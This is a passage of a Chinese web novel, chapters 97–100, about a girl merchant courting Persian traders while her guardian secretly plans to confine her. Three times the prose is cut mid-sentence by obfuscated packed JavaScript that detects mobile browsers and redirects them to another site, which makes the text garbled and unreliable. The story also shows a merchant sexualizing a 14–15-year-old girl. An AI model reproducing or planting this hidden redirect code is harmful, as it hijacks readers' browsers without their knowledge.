其实同不同意也就那样了，年节之前，白栖枝已经命人为他打造了一副梅花袖箭。 此次发问，名为征求，其实是告知。 就算沈忘尘和林听澜不同意，为了日后自己不被敌人一击毙命，她也会为自己尝试一番。 97. 机会 过年那天还是很开心的。 林听澜和沈忘尘到底还是答应白栖枝练袖箭这件事，三人甚至还在晚上美美欣赏了一下城内的烟火大会。 第二天，白栖枝就为两人准备了新年贺礼，还派人偷偷在他们枕头底下塞小红包。 但是有一点她算漏了——沈忘尘和林听澜那天是睡在一个被窝的，她把沈忘尘的那份塞到他平时睡的那张床了！ 孩子有这份心两人当然是开心的，但白栖枝毕竟还是小孩，作为长辈，林听澜还是努力板起脸狠狠地教训了她。 “你一个小孩子给我们买什么礼物，乱花钱，你这样日后可怎么办？” 白栖枝觉得林听澜一定是岁数大了。 因为岁数大了的男人都爱教训小女孩，他这么愿意叽叽歪歪，怎么不赶紧生个孩子磋磨自己孩子去？ 但转念一想，白栖枝又觉得林听澜不会有孩子了。 毕竟他和沈忘尘都是男人，男人和男人是不会生孩子的，如果他有了孩子的话，那就是…… 白栖枝仰天思索，又默默收回了自己思索的动作。 不行，那种事情想想就好可怕，他还是保持没有孩子的生活吧。 打那天起，白栖枝就成了林听澜的小尾巴。 林听澜有什么要紧的生意都会叫白栖枝跟在身边，白栖枝成了林听澜在外头的专属丫鬟。 丫鬟就丫鬟吧，至少在那些大人物面前露脸了。 每次，林听澜都会跟旁人介绍她，言外之意就是：这小丫头是我堂妹，日后若是她有什么惹了诸位大人不开心，看在我的面子上，还请对她网开一面。 也就是在这种时候，白栖枝才觉出来一件事—— 有人撑腰的感觉，真好！ 这一年，也算是白栖枝有史以来最忙的一年了：往上看，要跟着林听澜学习如何经商、打理铺子、和那些大人物如何周旋谈生意；往下看，香玉坊、兴孝村的田圃、云青坊以及围绕这三点新孳生出来的其他产业她又不能不顾。 白栖枝简直要忙得脚打后脑勺。 清明的休沐日，她依旧没有去祭拜家人，事情悬而未决，她无言面见父母阿兄，她独自去了神女庙叩拜。 初建轰轰烈烈、香火鼎沸的神女庙现如今人丁稀少。 ——到底还是抵不过佛庙。 白栖枝暗暗地想。 她给神女拜了三炷香，又磕了三个响头，随后才去求了三枚平安符。 一枚给沈忘尘，祝他身体康健少生病。 一枚给林听澜，祝他生意兴隆少操心。 一枚给宋长宴，祝他早登金榜中状元。 宋长宴去年年末给白栖枝的那枚平安符她现在还系在脖颈上，沐浴的时候都不拿下。 不过说起宋长宴，两人见面的时候越来越少了。 她要待在林听澜身边学经商，他也要待在家里攻读书本。 两人除非像元宵节这种大节日外几本无法见面，更何况宋长宴每年还要进京赶考，自那次交付平安符后，两人想见上一面更是难上加难，一直到夏季中旬也没再见过。 白栖枝到底还是出息的，不过一个春季，林听澜教她的那些她基本都可以融会贯通。 她做事安稳，林听澜自然也敢放手让她去做，久而久之，他能陪沈忘尘的时间也就多了。 两人在一起除了甜蜜，难免也会有些争吵。 这争吵是源于白栖枝的，因为沈忘尘又在开始商量要他去娶白栖枝。 两人为此还大吵过一架，林听澜甚至气得摔门离去一夜没回家。 白栖枝自然是不知道这些事的，沈忘尘将口风管的很紧，谁也没对她透露过这些内容。 由是，哪怕那边闹得不可开交，白栖枝这边还是风平浪静，甚至如日中天，俨然有了一个商贾老板真正的气派。 在她的领导下，香玉坊和云青阁也即将迎来有史以来最大的单子—— “听着，今年秋初，会有西洋的商人奉旨来淮安购置茶叶瓷器、胭脂水粉。咱们香玉坊能否真正在淮安打出名头，就全靠这次的机会。做得好，咱香玉坊、青云阁就是全天下第胭脂坊、瓷器坊。做不好，咱就得处处被人压下一头，这辈子都不得翻身。所以我李素染在此恳请大家近日来咬咬牙、使使劲儿，咱们一起把这个坎儿给过了，将来咱有的是荣华富贵，好不好？” “好！” 李素染一番话说得情真意切，下头的人自然也肯卖力做工。 但凡在这香玉坊、云青阁待过的人都知道：因她们东家是女子，店主是女子，连带着就连店内的伙计们也大多都是女子——就因是女子，在淮安这片巨大的生意场上，她们处处低人一等，处处被其他店铺挤压。 那些人瞧不起她们。 他们说：女人家，头发长见识短，就算搏得了上桌吃饭的资格，到底也没有在饭桌上吃饭的资格。 他们说：女人嘛，再搅和又能搅和出什么水花？还不是要老老实实地滚回去相夫教子？你看，她们东家今年年岁也不小了，没准儿过几日就要回家相夫教子奶孩子去了！ 他们说：等那小白老板一走，你他们看着，她们这帮人指定是树倒猢狲散，就算能折腾上几日，到底也还得跟落水狗一样地滚回家去。到时候该嫁人的嫁人、该生孩子的生孩子，哪里还有时间做生意？我敢打包票，这香玉坊和云青阁今年年末呐—— “必倒”！ 就凭这几句话，香玉坊和云青阁内上上下下都憋着一口气，倘若这口气不得出，她们非得憋死在这淮安城内不可。 她们既然出来了，能赚钱养活自己，就再也不愿回到那个一生都在规训她们的囚笼里去。 也正因如此，两坊上下无人不知这次的机会对她们来说有多重要。 胜则生，败则亡。 她们这辈子就只有这么一次能自由呼吸的机会，她们可不想将这宝贵的机遇白白送到别人手上。 下属这么有干劲儿，作为东家的白栖枝自然也不能拖后腿。 按陛下旨意，那些洋商需得秋日才能抵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287400|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 达淮安，在此之前，她最先要做的就是学会那些洋文！ 淮安的商贾自是请得起唐帕[1]，但白栖枝总觉不妥—— 让他人递话哪里有自己亲口介绍来得精准妥帖？ 为此，白栖枝几乎推了一切的行程，特地去私塾雇那些会讲洋文的夫子来教她如何与洋商对话。 一整个夏日，白栖枝忙得脚打后脑勺。 沈忘尘怜她年纪尚小、劳累太过，怕她累垮了身子想要帮衬她一把，却被白栖枝婉言拒绝了。 “没事的沈哥哥，枝枝不累，枝枝很开心。况且等秋后枝枝独自一人居住在外，哪里还有人能时时帮衬枝枝呢？枝枝想借这次好好锻炼一下自己，也想接着这次的事为您和林哥哥这两年来对枝枝的教诲交个结果。倘若枝枝真闯出了个名头，定不会忘记您和林哥哥的知遇栽培之恩。可若是这次不慎折戟沉沙，败在他人手里，那便是枝枝自己技艺不佳、天资愚钝，辜负了您们的教诲，倒是枝枝自会请辞。” 白栖枝说出这番话时，一双小鹿般灵动的眼里满是对未来的希冀，可沈忘尘却一下子抓住了这番话中的重点，一改往常的气定神闲，露出了些许急切的神色问道：“你要离开？去哪？” “沈哥哥放心，就算搬出去住，我仍住在淮安城内，不会离开太远。”白栖枝见他满腹疑问，解释道，“昔日枝枝初来林家时便允诺过：待枝枝有能力足够养活自己是，自会搬出去住，绝不会累林家终身。现如今，枝枝已然有能力在淮安城内养活自己，便应允当时之诺，搬出林家、独居于外。正巧最近枝枝趁闲时同房牙[2]商榷过了，时下正有一户人家打算在秋末搬至长平居住一段时日，这空下来的宅子正好充作赁屋。我曾去看过，觉得其地段、僦钱都不错，就先付了定金。等此事结束，枝枝便打算搬去那里住，就不用每天叨扰沈哥哥和林哥哥了。” 沈忘尘自打听到她要搬出去后脑子里就乱的很，饶是白栖枝耐心地解释了这么一大堆，他的脑袋里也只有三个字——她要走！ 她要走、她要走、她要走…… 沈忘尘曾养过一只小白鸟，为了养好这只小白鸟，他费心费神地将自己毕生所学都交付与它，将自己名下铺子交予它打理，甚至将自己最珍贵的东西交付给它为它撑场面。 可现在，被他以心血喂养长大的小白鸟，竟在羽翼即将丰满时，说要逃离他的掌心，要独自去外头承受风雨。 这叫他怎么甘心？这叫他怎么甘心！ 沈忘尘现在已经辨不清自己的心绪了，他好恨啊，恨他养的小白鸟要弃他而去，恨所有人最终都要弃他而去，哪怕他曾是那么真心地对待他们，他们到底还是要弃他而去！ 他们都要弃他而去！！！ 心绪激动的直接反应就是他那双瘫腿在衣摆下细细地抽颤，痛得恨不得让他将它们锯掉。 疼痛抽离回几分神智，沈忘尘看着面前不明所以的白栖枝，忍耐良久，才得以缓缓撑起一丝勉强的笑容。 “枝枝。”他说，“不离开沈哥哥可以吗？” 98. 不放 白栖枝还是第一次听沈忘尘用乞求般的语气同她说话。 她一愣，反复思索后竟不知道该说什么好。 那天，沈忘尘自说出那句话后便一直神色恹恹，白栖枝见他如此，便也没再多说些什么，有眼力见地先行告退了。 这事儿成了沈忘尘心中的一根隐刺，每当夜深人静时，这根刺就会在他心上猛地扎下。 很疼，但是不见血。 沈忘尘也不能将这事儿告与他人，只能独自忍耐，磨得他越发骨立形销。 白栖枝是不知道这件事的。 她就跟块木头一样，依旧处理着自己手头那些事。 在白栖枝眼中，一切都没有这次机遇来的重要——沈忘尘难受也好，心痛也罢，这都不是她现下该想的事。人尚且还能继续相处，可机缘只这一次，错过就再也不见。 她必须要抓住这次机会，她必须要摒弃一切为这次的机遇开路。 至于沈忘尘，待她这次生意谈完，她再买些贽礼，好声好气地陪在他身边哄他高兴也不迟。 转眼，夏叶凋敝，万物萧条。 一阵风来，竟吹得枝也颤颤，树也悠悠。 在那些波斯蕃客抵达淮安边境的那天，整个淮安城内都在沸腾，除却因为他们的到来，还因为一件大事—— 帝师花太傅居然被陛下处死了。 随之而来便是御史大夫李德义李大人血溅殿前，做了他人生意义上的、真正的第一次死谏。 消息传达到淮安的时候，白栖枝拜别了将要进京葬父的李延。 只可惜另一头留给她的时间也不多，两人匆匆拜别便各奔东西。 大昭的秋天在秋末十分，才算是真正意义上的来临了。 “东家，一切都准备完毕，就等着您下令了。” 香玉坊二楼，李素染将近些天来盘下的店铺地契呈到白栖枝面前，随即春花、紫玉、游金凤、夏宝珠等人也纷纷将店铺内最新生产的一批胭脂水粉、坊内这三个月内的流水以及其他店铺这些天来的动向都纷纷呈在白栖枝面前，等候着她下一步指令。 “小姐。”春花开口，“如今那批蕃客已奉旨入关，应该再有三日，便能抵达淮安城内，香玉坊、云青阁两处都已将这批生产的胭脂水粉和瓷器摆件都摆在最显眼处。依照您的命令，莫当时已经买通街角巷尾的那些孩童，等到那些人一入城，便能咱们香玉坊和云青阁的名声。眼下万事俱备，只欠东风，必不会让您失望。” 与其他店铺相比，如今的香玉坊和云青阁实在是规模太小，白栖枝早已打听明白，那些蕃客最看重的就是一家店铺的规模，所以哪怕香玉坊和云青阁一直走得都是小而精的路线，为了这次机会，也不得不扩大店铺规模，另租赁下许多小铺子的店面——倒也不是合并，只是想将两家的东西都借个位置摆进去——倒时候那些商人一入店见得就是她白栖枝手里的东西，没道理不留下个深印象。 为了抢时间，她几乎派出了自己身旁的所有人，还组了宴会盛情邀请那些在淮安居住官家子女乞求人家能帮着出一份力。 好在天遂人愿，短短一个月内，两坊上下皆已安排妥当，就差那些洋商主动钻入圈套了。 “好。”白栖枝欣然一笑，“此次机会难得，若顺利，我定会厚谢坊内诸位兄弟姐妹，还请诸位再添上一把力，待香玉坊、云青阁真正在淮安站稳脚跟之时，我必会重重酬谢各位。” 眼下，只要她这边不再出乱子，一切就真的万事俱备了。 账簿被下人一摞摞搬进西厢房。 在经过书房的时，白栖枝隐隐看见倚在床边的那抹素白身影。 “小姐，这些也要搬回去吗？” 身旁丫鬟的声音传来，白栖枝立即回神，扭头道：“嗯，都搬进去吧。” 她知道，那抹身影在看自己，可她真的没时间了，三天，仅三天，她多顾一丝事的时间都没有了。 白栖枝甚至都没有再回头看，转身随着丫鬟们朝西厢房走去，毫不拖泥带水，甚至连一个背影都没有留下。 书房内，看着毅然决然离开的白栖枝，沈忘尘蓦地攥紧了茶杯。 他的手抖得厉害，连带着茶水都晃出杯沿儿，泼泼洒洒地落了大片，他都浑然不觉。 沈忘尘也知道，此次对于白栖枝来说是个千载难逢的好机缘，作为她的兄长，作为她的师长，他自然是希望她功成。 可她怎能因功成就毅然决然地离开林家、离开他、离开他们所给予她的一切？！ 这是不能够的……这是不能够的。 不能放走她！不能放走她！不能放走她！ 沈忘尘不知道自己是不是疯了，但对于白栖枝，对于他这个一点点栽培起来的孩子，他绝对不会放手。 在他眼里，白栖枝对于林家来说太过重要——她聪明、机敏、懂事、乖巧，还是个女儿家，她日后是要为林家做出大贡献的，是要为他们做出大贡献的！如今她羽翼渐丰，就要把他们都抛诸脑后，就要将林家抛诸脑后，这怎么能够？！ 这几日下来，沈忘尘一直在忍耐。 他要等这一阵儿过去，等白栖枝做出成绩，等她说出她要离开的那个刹那—— 囚禁她。 他要把她困在这座深宅大院里；他要磨去她所有的爪牙，让她心甘情愿地居于幕后；他要让她一辈子陪着他，陪着林听澜，陪着林家！ 到时候，他自然会劝说让林听澜娶了她！ 到时候，两人诞下子嗣，他要再将那孩子培育长大！ 到时候，他要让那与他毫无血缘关系孩子成为他真正的孩子，真正的，他和林听澜的孩子。 沈忘尘的规划实在太明晰了，明晰到他早已坐下准备等着白栖枝来跳。 现如今万事俱备、只欠东风！ 他多么希望时间能快快过去，白栖枝能快快功成，他甚至比白栖枝自己更希望她功成。 到时候他的阿澜就会知道，他说的是对的，白栖枝离不开林家，林家也离不开白栖枝，他们三个生来就是要牢牢纠缠在一起的，一生一世，永生永世。 ——他们生来就是被捆绑在一起的。 “唉。”白栖枝真是心力交瘁了。 这几日的任务压下来，简直比她此前半生所做的事情还要多，偏她还是那个话事人，不能展露出一丝的疲惫，也只敢在这四下无人处时才敢偷偷地叹上口气。 如果不是还有一股劲儿撑着她，恐怕她早就要倒下去了，不过…… 白栖枝暗自欣喜盘算道：等到这次事情过去，她就可以在淮安站稳脚跟了，到时候她就可以自己搬出去住，就再也不用麻烦沈哥哥和林听澜担心她了。等她搬出去后，要好好办一场搬迁宴，请大家来开开心心地吃顿饭。她还要为沈哥哥和林听澜准备礼物！ 准备什么礼物好呢？林听澜这么有钱，估计也不缺什么物件，就随便送一点点好了。至于沈哥哥，哦对，他也是长平人，等到她站稳脚跟后，她一定要回一次长平。 她要跟父母阿兄报告她经商的好消息，虽然她连父母阿兄的尸首在哪儿都不知道，但是立个衣冠冢也是可以的吧？那就这样，她先给阿爹阿娘和阿兄立衣冠冢，然后祭拜他们，等到快要回去的时候再买点长平的特产给沈哥哥带回来。 到时候要不要去沈博士家中拜会一下呢？沈哥哥这么多年都在淮安，会不会想家啊？她要不要带一些他家人的信件回来给他啊？但是看起来沈哥哥和家人的关系好像不是很好，她还是不要滋生事端了，就带些好吃的好玩的回来吧。 等一切结束，她就能好好地自己一个人生活了，她当然会时常来看望沈哥哥和林听澜的啦！毕竟两个人养了她两年，教了她不少东西，她肯定会滴水之恩涌泉相报的啦！就是不知道沈哥哥会不会烦她总来骚扰他，但假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是淮安城内最出名的胭脂坊和瓷器坊。”一旁的蕃长顺势答道，“倘若大人此次前来，除却茶叶还想带些别的小玩意儿回去，不妨可以去店里一看。我听说，淮安城内许多大户人家用的胭脂、摆件儿都是出自她们家呢！” 他是被林听澜打点过的，此次前来，自然也要为林家名下的其他产业多介绍介绍，尤其是香玉坊和云青阁，听说还是那位林老板的表妹亲手操持办起来的，哪怕是卖林老板一个面子，他也要在这位同属一国的蕃客大人面前多美言几句。 “原来如此。”忽鲁谟斯一副了然的神色。 他沉思了一会儿，半晌，开口道：“那便去看一看吧。” 市舶使吓得连忙摆手道：“不可啊……” 忽鲁谟斯：“发生什么事了？” “是啊大人，发生什么事了？”蕃长道，“难不成大人见这两家的老板是个女儿家，就瞧不起他们了？” “哦，女孩子？”忽鲁谟斯十分惊奇，“在中原，我还从未见过有女孩子开店，她是什么人？” 蕃长：“不是什么人，不过是林老板的表妹罢了。” “林老板……”忽鲁谟斯沉吟着捋了捋自己的胡子，忽地转向市舶使，问道，“那岂不是正好？我正要在那位林老板处买些茶叶，为什么不可？” 市舶使额头上的汗更密了：“没什么没什么。”他慌忙道，“在下只是觉得大人不能此刻就去，怎么着也应该同林老板谈完生意后，再去。” 忽鲁谟斯：“好，那就等谈完生意后再去。” 眼见这波平下，市舶使看向坐在他对面的蕃长。 这洋人倒是神定自若，恐怕私底下没少拿了白栖枝的好处，他想。 至于后面如何，他还是慢慢盘算吧。 99. 玉人 林听澜那边倒是完事顺利。 几人本就是奔着他来的，略略谈完生意，再喝口茶休息休息，这事儿也就成了。 接下来就全看白栖枝自己的命。 市舶使原本想把忽鲁谟斯往其他商户引，最好让他一辈子都见不到白栖枝，可他领人进去哪家，哪家最显眼的位置摆的就是香玉坊、云青阁的东西，接连好几家都是。市舶使感觉自己好像进入了某种循环，他认了命，也不得不感叹白栖枝实在是准备完全，只好随着忽鲁谟斯在蕃长的引领下踏入香玉坊。 这几个月来，香玉坊早已和云青阁合并。 一楼卖的是胭脂水粉，二楼原是给那些大户人家的夫人们歇脚的落处，如今也都放上了云青阁内出产的瓷器，为的就是一家店铺将两家的东西都宣传上，让前来的客人一眼看到全。 不仅如此，坊内准备的瓜果糕点也早已换成波斯人虚幻吃的蜜饯果子，两三一小盘，就摆在每个展柜旁边上，不至于让人家逛得太无趣。 自打忽鲁谟斯踏入林家茶楼的那一刻起，消息便已递到香玉坊的每个角落。四下里，大家个个屏息凝视，心脏咚咚跳动，一起等待着时机的到来。 忽鲁谟斯甫一踏入香玉坊，一股淡淡的脂粉香就充盈进了他的鼻腔。 他抬头一看，只见整个铺子灯火璀璨，里头的售货娘子各个如壁画上的仙子一般自门口起站成笔直两排，他左脚刚刚埋进，里头就传来了齐声声的—— “客官，您吉祥。” 白栖枝就坐在二楼的茶室内，听到声音，她心里也是一紧，连带着握住茶杯的手都在隐隐发抖。 楼下又传来声音：“你们家小白老板呢？贵客前来，也不见她露面，实在太过无礼了些！还不快去把她给请出来。” 一个“请”字咬得分外得紧，紧到白栖枝只这一声便能分清敌友。 眼下正该是她登场的时候。 “实在是抱歉。”二楼阴影处蓦地传来一个温柔又灵动的女声，如同娇俏的黄鹂鸟在枝头鸣叫，旋即，一个清瘦玲珑的身影自阴影中缓缓而出道，“方才小女在二楼清点货物，不知贵客大驾光临，实在失礼。李店主。” “东家。” “想必贵客一路远道而来，想必已是口渴，看茶。” “是。” 李素染略微一礼，拍手两声，立即便有侍女端着果盘茶点从两侧鱼贯而出，行至三人身侧，将托盘送上：“大人请。” 被唤了一声，忽鲁谟斯才渐渐找回自己的魂魄，恋恋不舍地垂下眼，将视线放到面前的茶盏上。 他该如何形容那位处于他们上方，凭栏而立的东方姑娘？那人仿佛一个玉面人偶，穿着流光似水的锦衣华服，翩翩然地的立在上头，垂着眼笑看向他们。她美丽、华贵、雍容，瓷净的脸上又带着点她那个年纪的、十四五岁少女的灵动俏皮，像是刚刚长熟的禁果，恨不得邀人轻轻咬上一口——汁水四溅。 忽鲁谟斯想得口干舌燥，当即拿起茶杯一饮。 清甜的果香混着茶香氤氲在口腔内，像极了少女脸上涂的桃色脂粉，娇俏却又不甜腻，叫人一尝万年。 “白小姐。”忽鲁谟斯蓦地抬眼，望着那立于栏杆后的华丽身影，“这茶里加了什么？怎么和其他的甜茶不一样？” 白栖枝淡淡一笑：“是桃汁，我命人在茶里添了桃汁，这样喝起来既不会太腻又很顺口，还望大人们喜欢。” 前几天她画图纸画得入魔，连早、午膻都忘了用，春花怜她伤身，便带来了甜桃果盘和茶水供她填填肚子。白栖枝当时也顾不得太多，抓起桃子就吃，拿起茶水就喝，却意外发现这两样东西放在一起还蛮好喝的，就让芍药姐琢磨琢磨如何将这两样东西混在一起制成甜茶，供众人饮用。 芍药倒也不负众望，两日后便将制品呈上，白栖枝一尝——成！就用这个东西来供那些洋商饮用吧。 这方有了这等独一无二的茶饮。 忽鲁谟斯自是喜欢的，可比起手中的茶水，他更喜欢想出这等好点子的人，他想把她带回西域，像一个东方的玉瓷人偶一样摆在家里，供他日日欣赏。 “白小姐。”他开口，真挚地邀请道，“可否请白小姐下楼，同我一起观赏您店里的商品？” 白栖枝有些犯难。 她虽在长平长大，见过不少的胡商、蕃商，但还是第一次有人用这种眼神看着她。 阿兄说：从西域来的人都是野兽，他们野蛮、不讲礼数，对待姑娘们亦是如此。只要他们看上一个人，就会像野兽捕猎一样将那人置于自己的爪牙之下，一点道理也不讲，顷刻便将人吃干抹净。所以枝枝，日后你若看到有西域人对你示好的话，记得躲起来，不要被他们找到，知道了吗？ 那时，白栖枝虽然不知道阿兄究竟是从哪里知道这些事的，但在小小的她眼里，西域人确实不好惹，他们茹毛饮血，能把还未烤熟的、血淋淋的炙肉塞进嘴巴里大快朵颐，实在是好可怕。 如今，她见忽鲁谟斯看她的眼神一如看着带血的炙肉一般，忍不住有些害怕。 或许，那人只是喜欢她这时的皮囊罢了。白栖枝想。 “抱歉。”她低首悠然浅笑道，“在下还有些事务尚未处理，倘若大人想要在店中物色商品，还请让我家掌柜胭脂娘子为大人一一详细讲解。春花、紫玉……” “且慢！”一直在旁不做声的市舶使抬手制止住两人欲上前的脚步。 “大人，什么事？” 市舶使笑了一声道：“白老板，既然忽鲁谟斯大人有心来您这店里选购商品，作为东家，您不亲自下陪大人挑选讲解，是否太过失礼啊？” 他语气傲慢，一字一句说得都是礼数，偏巧自己却最是无礼，难以令人信服。 市舶使的声音在香玉坊内回荡，每个字都像裹着蜜糖的刀子，白栖枝站在二楼栏杆后，指尖微微发紧。 不仅是她，就连春花和紫玉也忍不住怒气横生。 但眼下不是发作的时候，贵客在此，哪里容得她们失礼？更何况人家是官，想弄她们这个小小的香玉坊也就是扫两个眼风的事，哪怕是为了东家、为了香玉坊，她们也不能如此鲁莽。 紫玉心里憋着气，脸上却不得不摆出一副甜笑。 春花见她快要气得脑袋冒烟，暗地里拍了拍她的手背，自己则上前一步，欠身一礼，朝着三人温声道：“大人教训的是。只是按照我们汉家的规矩，贵客临门需焚香净室，我家东家方才正在更衣准备，并非有意怠慢。” 市舶使冷笑一声：“更衣？我瞧白老板这身衣裳体面得很！” 春花不慌不忙，眉眼弯成恭敬的弧度：“大人有所不知，东家身上这件是家常穿的旧衣。听闻贵客将至，特意命人取了新制的织金罗衫，正要换上呢。“她转向忽鲁谟斯，用刚学会的波斯礼节行了一礼，“这位老爷想必知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15298112|157766||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道，我们大昭的女儿见外客，总要打扮得体些才不失礼数。” 忽鲁谟斯眼中闪过一丝兴味，竟点了点头。 市舶使脸色一沉，正要再说什么，春花却已经拍手唤来两名侍女：“快去准备兰汤香炉，按最高规格接待贵客。“她转向三位客人，笑意盈盈，“按照我们淮安的风俗，贵人踏贱地需先净手焚香，祛除路上风尘。请三位大人稍坐片刻，尝尝我们特制的蜜饯果子。” 不等市舶使反应，四名侍女已经捧着鎏金盆、香巾、香炉鱼贯而入。那阵仗之讲究，连忽鲁谟斯都不由正了正身子。市舶使张了张嘴，终究没敢在外国商人面前打断这庄重的迎宾礼仪。 趁着这空档，春花递给白栖枝一个眼神，后者立刻心领神会，转身进了内室。 不多时，二楼传来搬动物品的声响，还有侍女们轻声的交谈。 楼下，忽鲁谟斯正饶有兴致地尝试着侍女奉上的蜜饯。那果子晶莹剔透，裹着一层糖霜，入口即化，甜而不腻，忍不住问道：“这又是什么？” “这是我们东家特意为波斯贵客准备的玫瑰露浸渍的蜜饯。“春花适时介绍，“是我们东家专门令全淮安最有名的蜜饯铺子花上七七四十九天才酿制而成，大人喜欢就好。” 明明是瞎话，她却说得脸不红气不喘，一副温润乖顺的模样，叫人挑不出毛病。 市舶使自然看出她的把戏，但却也不好说些什么，只得将下人递上来的蜜饯扔进嘴里，冷哼一声道：“你们东家花样倒不少。” 春花假装没听见，亲自为忽鲁谟斯斟上一杯桃汁甜茶：“这位大人，您远道而来，想必对我们的胭脂水粉和瓷器都很感兴趣。不如让奴婢先为您简单介绍几样特色货物？” 忽鲁谟斯点头应允。 春花便引着他来到中央展台，指着几样精致物件娓娓道来。 这些物件儿都是白栖枝亲自设计的，春花常年跟在她身旁，在她绘制草稿的时候也给了不少建议。倘若说整个香玉坊上下对这些瓷器胭脂最为熟悉的人，除却白栖枝便只有她春花一人。 几人踱步走着，每经过一件展品，春花都能将其中巧思缓缓道与众人听。她说得生动有趣，忽鲁谟斯听得入神，竟把一旁的市舶使和蕃长都晾在一边冷落了。 市舶使自然不想让忽鲁谟斯在此处耽搁太久，他怕忽鲁谟斯真的看上了这儿的瓷器胭脂——还有人。倘若真是如此，那他的脑袋也是不用在项上待着了，大人会第一时间派出杀手，叫他像白纪风那样满门惨死。 想起白家惨案，市舶使蓦地打了个哆嗦。他几次想要打断几人的对话，可一旁的蕃长却像是故意与他作对一般，每当他想开口就拽他去另一边观赏物品，搞得他很是恼火。 明明自己的官职比他大，却因他和忽鲁谟斯是老乡，使得自己一个市舶使竟在小小蕃长手里吃了亏。 而一旁的忽鲁谟斯还在听春花的讲解，跟完全看不到他这个人一样，丝毫不管他的处境。 市舶使腹内憋着暗火，恨不得将这火全烧到白栖枝身上去。 正当他忍无可忍要打断忽鲁谟斯和春花的交谈，想要将他从香玉坊中请出去时，二楼突然传来一阵清脆的环佩叮咚声。 众人抬头望去，只见八名侍女手持宫灯分列两侧，白栖枝身着织金缕罗裙，发间一支累丝嵌宝步摇，在灯火映照下宛如神女临凡，款款而下。 “——让贵客久等了。” 100. 存心 白栖枝声音清越，每一步都走得端庄优雅，如同一副徐徐展开的画卷，叫人一眼难忘。 忽鲁谟斯看得眼睛发直，连手中的茶盏倾斜了都未察觉。 白栖枝被他看得心里发慌，下意识垂下眼眸。 她心里知道的——自己长得并不算好看。 长平美人无数，白栖枝却生得格外平凡，她这张脸虽不难看，但也绝对称不上是美人，就连旁人夸她夸得也都是她冰雪聪明，鲜有人去夸她的姿色。 她是那种单拿出来五官平平，但凑到一起就格外让人顺眼顺心的类型，就算大家不喜欢她的性格，但看在她这张脸的份上，也不会对她感到厌恶。 林听澜除外。 至于她今日为何会如此光彩照人，令人移不开眼，多半都是紫玉一大清早就约她给她上妆的缘故，再加上林听澜专门派人为她制的华服，都说“人靠衣装佛靠金装”，这才把她这张平平无奇的脸给撑了起来。 ——至少白栖枝是这样认为的。 市舶使脸色铁青，却找不出一丝失礼之处——人家不仅亲自下楼，还盛装出席，这排场比官府接待外宾还要隆重。 白栖枝走到忽鲁谟斯面前三尺处站定，行了一个标准的万福礼：“大人远道而来，栖枝有失远迎，还望海涵。” 忽鲁谟斯回过神来，竟学着中原人的样子拱手还礼，说了几句情真意切的波斯话，说完，还特地亲自翻译给白栖枝听。 不过是些夸她貌美的话罢了。 面对他的称赞，白栖枝自知眼下自己外貌上的一切都是假的，并未显露出几分愉悦的神色，只微微一笑道：“多谢大人夸奖。大人若喜欢，香玉坊正好新制了一批玫瑰香露和胭脂水粉，妆点女子容貌最是动人。“她侧身做了个“请“的手势，“不如请移步雅室详谈？那里备好了茶点，也方便大人细看货物。“ 这一连串的安排行云流水，市舶使眼睁睁看着忽鲁谟斯欣然应允，跟着白栖枝往雅室走去，急得直跺脚，他匆匆跟上前去。 “大人。“春花突然拦在他面前，奉上一盏茶。 鎏金茶盘在灯下流转着蜂蜜般的光泽，市舶使紧紧地盯着她看，就听她淡然说道： “您一路辛苦，喝口茶润润喉吧。” 这边儿白栖枝还在与西洋来的商人交谈甚欢，那边，沈忘尘独坐书房，兀自与自己斗棋。 青花茶盏内，带着蜜桃香气的甜茶氤氲着甜美的香气，配上一旁的蜜煎雕花，在秋日的融融暖阳里显得格外熨帖。 这面上倒是熨帖了，可心里呢？ 沈忘尘嫩白的指尖儿掐着黑瓷棋子轻轻在棋盘上磕打着，却怎么也想不出究竟该下在何处。 ——他给他自己设了个死局。 棋至如此，便已兴致缺缺。 沈忘尘随手将黑子扔进棋盅，拿起手边的青花瓷盏轻抿一口。 这茶是今儿早白栖枝派芍药送来，据说让芍药反复调试了好几日，今日方得出来个成果，欲用其招待那位从西洋远道而来的大人。 清甜绵柔的茶水甫一入口，沈忘尘那颗渐渐焦躁的心便一点点地润了下来。 他早就知道白栖枝是个聪明伶俐的，无论是从作画、经商，亦或是发明这些个难登大雅之堂的小玩意儿上都是。 他早就知道她是个不世出的人才。 他欲将其培养成个人物，可她却偏偏起了离开的心思，想让他一片心意化作焦土。 这叫他如何甘愿？ 方才据芍药来报，此时那洋商已在香玉坊中，估计两人还要谈上好些时辰，等她回来，他一定要想方设法将她困死府中，他要一点点地磋磨她，将她的棱角、羽翼尽数磨灭，他要让她变回当初那个独自一人来林府寻求庇护的孤女，他要她永远陪在他身边！ “沈哥哥！” 远处忽地传来朦胧轻快的一声，沈忘尘从支起的窗棂往外瞧。 